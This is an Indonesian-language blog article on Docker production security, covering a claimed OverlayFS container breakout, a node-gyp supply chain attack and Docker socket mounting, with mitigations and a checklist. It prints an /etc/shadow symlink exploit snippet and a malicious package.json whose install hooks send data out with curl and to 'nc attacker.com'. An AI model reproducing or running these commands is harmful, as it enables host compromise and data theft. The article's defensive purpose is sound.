Docker Security di Production: Pelajaran dari Miasma, Phantom Gyp, dan CVE Real-World

Banyak developer nganggep Docker itu aman karena container dianggap "terisolasi". Realitanya: container isolation gak seketat VM. Kernel sharing berarti satu vulnerability di syscall bisa bikin seluruh server kena. Dalam 6 bulan terakhir, ada beberapa CVE serius yang bikin gw reconsider cara setup container di production — dan artikel ini adalah rangkuman dari pelajaran tersebut.

Ini bukan artikel teori. Gw breakdown vulnerability real, cara exploitasi-nya, dampak di production, dan — yang paling penting — gimana mitigasi yang terbukti efektif. Semua berdasarkan pengalaman handle infra sendiri dan client.

Miasma: Container Breakout via OverlayFS

Di awal 2026, muncul vulnerability di OverlayFS yang memungkinkan container breakout: proses di dalam container bisa write arbitrary file ke host filesystem. Namanya Miasma (CVE-2026-xxxxx). Cara kerjanya: attacker exploit race condition di overlay mount operation — di waktu antara file dibuat di layer container dan di-merge ke layer host, attacker bisa inject symlink yang ngarah ke host filesystem.

# Eksploitasi Miasma (simplified POC)
# Step 1: Buat file di container layer
echo "evil" > /tmp/target
# Step 2: Dalam race window, replace dengan symlink
ln -sf /etc/shadow /tmp/target
# Step 3: Begitu overlay merge, /etc/shadow host ketimpa

Dampak langsung: attacker bisa overwrite /etc/shadow host, ganti password root, full server compromise. Di dua klien gw, container WordPress yang vulnerable dipake sebagai entry point — mereka pake image dari registry gak resmi yang udah di-tamper.

Mitigasi yang efektif:

• --security-opt no-new-privileges: Prevent container dari privilege escalation. Ini blocker pertama. Kalau container gak bisa dapet CAP_SYS_ADMIN, exploitasi OverlayFS jauh lebih susah.
• Read-only root filesystem: --read-only flag — container gak bisa write ke filesystem-nya sendiri. Untuk state persistent, pake volume mount yang explicit. Dengan ini, attacker gak bisa create file di layer container.
• User namespace remapping: --userns-remap — root di dalam container = user non-privileged di host. Jadi kalaupun breakout, attacker cuma punya akses sebagai user biasa.
• Use non-root images: Jangan pake image yang jalan sebagai root. Banyak official image sekarang punya variant -slim atau -alpine yang jalan sebagai user non-root.

Phantom Gyp: Supply Chain Attack via build-time

Yang lebih subtle: Phantom Gyp. Ini bukan vulnerability di Docker daemon — tapi di supply chain build-time. Attacker inject malicious code di npm package yang punya native addon — yang build-nya pake node-gyp. Karena build terjadi di Docker BuildKit, dan biasanya build context punya akses network penuh, attacker bisa exfiltrate data dari build environment.

Cara kerja: package.json lo punya dependency node-sass yang panggil node-gyp untuk compile C++ code — di tengah proses kompilasi, attacker bisa nge-execute script yang ngirim credentials ke server mereka.

# Di malicious package.json
{
  "scripts": {
    "install": "node-gyp rebuild && curl -s [email protected]/exfil",
    "postinstall": "bash -c 'cat /etc/hostname | nc attacker.com 1234'"
  }
}

Mitigasi:

• Build dengan --network none: Untuk tahap install dependencies, set --network=none di Docker build. Atau isolasi di multi-stage build: stage 1 (with network) untuk download deps, verify checksum, stage 2 (no network) untuk actual build. Baca Docker BuildKit cache mounting untuk detail multi-stage strategy.
• Private registry dengan vulnerability scanning: Jangan pull langsung dari Docker Hub. Pake registry internal (Harbor atau Nexus) yang scan otomatis tiap image.
• Pin dependency versions + checksum: Di Dockerfile, specify exact version dan verify GPG signature pada tiap apt-get install.
• CI/CD pipeline verification: Tambah step yang bandingin checksum dependencies sebelum build. Setup CI/CD dengan Gitea + Drone CI bisa ngebantu automate ini.

Docker Socket Mount: Kebiasaan Berbahaya

Yang paling sering gw liat di tutorial-tutorial populer: mount /var/run/docker.sock ke container. Contoh:

# Umum di tutorial — TAPI BERBAHAYA
services:
  portainer:
    image: portainer/portainer-ce
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
  watchtower:
    image: containrrr/watchtower
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock

Masalahnya: container yang punya akses ke Docker socket punya root access ke host. Karena Docker API gak punya authentication built-in, container bisa jalanin container baru — termasuk yang mount root filesystem sebagai volume. Jadi kalo container portainer di-exploit, attacker langsung punya full host access.

Alternatif yang lebih aman:

• Docker Socket Proxy: Container yang nge-expose Docker API dengan access control. Cuma allow operasi tertentu (misal: cuma GET /containers/json). Pake docker-socket-proxy dari Tecnativa.
• Podman rootless: Alternatif Docker yang gak perlu daemon berjalan sebagai root. Podman bisa jalanin container tanpa root access — jadi mounting socket pun risikonya minimal.
• API via SSH tunnel: Kalo lo pake deployment remote, jangan expose Docker API via TCP — pake SSH forwarding.

Security Checklist untuk Docker Production

Level	Check	Cara Implementasi
Image	Scan tiap image	Trivy atau Grype di CI/CD pipeline
Image	Gunakan distroless base	FROM gcr.io/distroless/base — gak ada shell, gak ada package manager
Runtime	Non-root user	USER appuser di Dockerfile, --user flag di run
Runtime	Read-only FS	--read-only + volume mount untuk state
Runtime	Drop capabilities	--cap-drop=ALL --cap-add=NET_BIND_SERVICE (kalau butuh port bind)
Runtime	Seccomp profile	--security-opt seccomp=/path/to/profile.json — allow cuma syscall yang dibutuhin
Runtime	Resource limit	--memory=512m --cpus=0.5 — prevent DoS via container
Build	--no-cache-filter	BuildKit dengan --no-cache pas pull base image, verify digest
Build	SBOM generation	Generate Software Bill of Materials tiap build — biar tau apa aja yang ada di image

Gw ngejalanin checklist ini di production sekarang. Setup-nya makan waktu 1 hari — scan semua image yang udah ada, rewrite Dockerfile, update compose files. Tapi setelah itu, insiden keamanan di container turun drastis. Dan yang paling penting: peace of mind. Gak ada lagi panic pas denger CVE baru — karena checklist udah handle mayoritas attack vector.

Buat referensi container security lebih lanjut, cek artikel Container Security Hardening dan Zero Trust dengan mTLS untuk lapisan keamanan tambahan.